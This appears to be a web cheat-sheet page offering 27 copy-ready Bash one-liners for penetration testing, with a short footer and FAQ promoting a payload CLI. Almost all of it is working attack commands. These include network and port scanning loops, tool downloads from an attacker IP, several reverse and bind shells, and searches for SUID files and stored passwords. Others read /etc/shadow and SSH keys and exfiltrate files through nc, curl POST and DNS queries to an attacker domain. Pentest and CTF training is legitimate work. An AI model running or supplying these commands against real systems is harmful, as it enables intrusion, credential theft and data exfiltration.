Copy-ready Bash one-liners for host discovery, file transfer, reverse shells, local enumeration, and data exfiltration during authorized pentests. (27 payloads)
for i in $(seq 1 254); do (ping -c1 -W1 192.168.1.$i &>/dev/null && echo "192.168.1.$i up") & done; waitfor p in $(seq 1 1024); do (echo > /dev/tcp/10.10.10.5/$p) 2>/dev/null && echo "port $p open"; donenc -zv 10.10.10.5 1-1024 2>&1 | grep -i succeededtimeout 1 bash -c "echo > /dev/tcp/10.10.10.5/22" && echo "22 open" || echo "22 closed/filtered"for ip in $(seq 1 254); do timeout 1 bash -c "echo > /dev/tcp/192.168.1.$ip/445" 2>/dev/null && echo "192.168.1.$ip:445 open"; donepython3 -m http.server 8000curl -s http://10.10.14.3:8000/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.shwget -q http://10.10.14.3:8000/tool -O /tmp/toolexec 3<>/dev/tcp/10.10.14.3/8000; echo -e "GET /file HTTP/1.0\r\n\r\n" >&3; cat <&3 > /tmp/filenc -lvnp 4444 > received.file # receiver\nnc -w3 10.10.14.3 4444 < secret.file # senderscp file.txt [email protected]:/tmp/ # or: scp [email protected]:/tmp/file.txt .bash -i >& /dev/tcp/10.10.14.3/4444 0>&1rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.10.14.3 4444 > /tmp/fpython3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.3",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'nc -lvnp 4444 -e /bin/bash # listener serves a bind shell; connect with: nc 10.10.10.5 4444python3 -c 'import pty;pty.spawn("/bin/bash")'; export TERM=xterm; stty raw -echo; fgfind / -perm -4000 -type f 2>/dev/nullfind / -writable -type d 2>/dev/nullsudo -lgetcap -r / 2>/dev/nullfind / -name '*.conf' -o -name '*.config' 2>/dev/null | xargs grep -liE 'password|passwd|secret|api[_-]?key' 2>/dev/nullcat /etc/crontab; ls -la /etc/cron.* /var/spool/cron 2>/dev/nulltar czf - /etc/passwd /home/user/.ssh | nc 10.10.14.3 4444 # listener: nc -lvnp 4444 > loot.tar.gzbase64 -w0 /etc/shadowcat secret.db | gzip | base64 -w0 | curl -s -X POST --data-binary @- http://10.10.14.3:8000/xtar czf - /var/www | openssl enc -aes-256-cbc -pbkdf2 -pass pass:Str0ngPass | nc 10.10.14.3 4444for c in $(base64 -w0 file | fold -w63); do dig +short $c.exfil.attacker.com; doneLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 27 Bash One-Liners payloads for testing Bash One-Liners vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or open the Reverse Shell generator to build customized Bash One-Liners variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Bash One-Liners payloads are completely free, with no account required. Everything runs in your browser.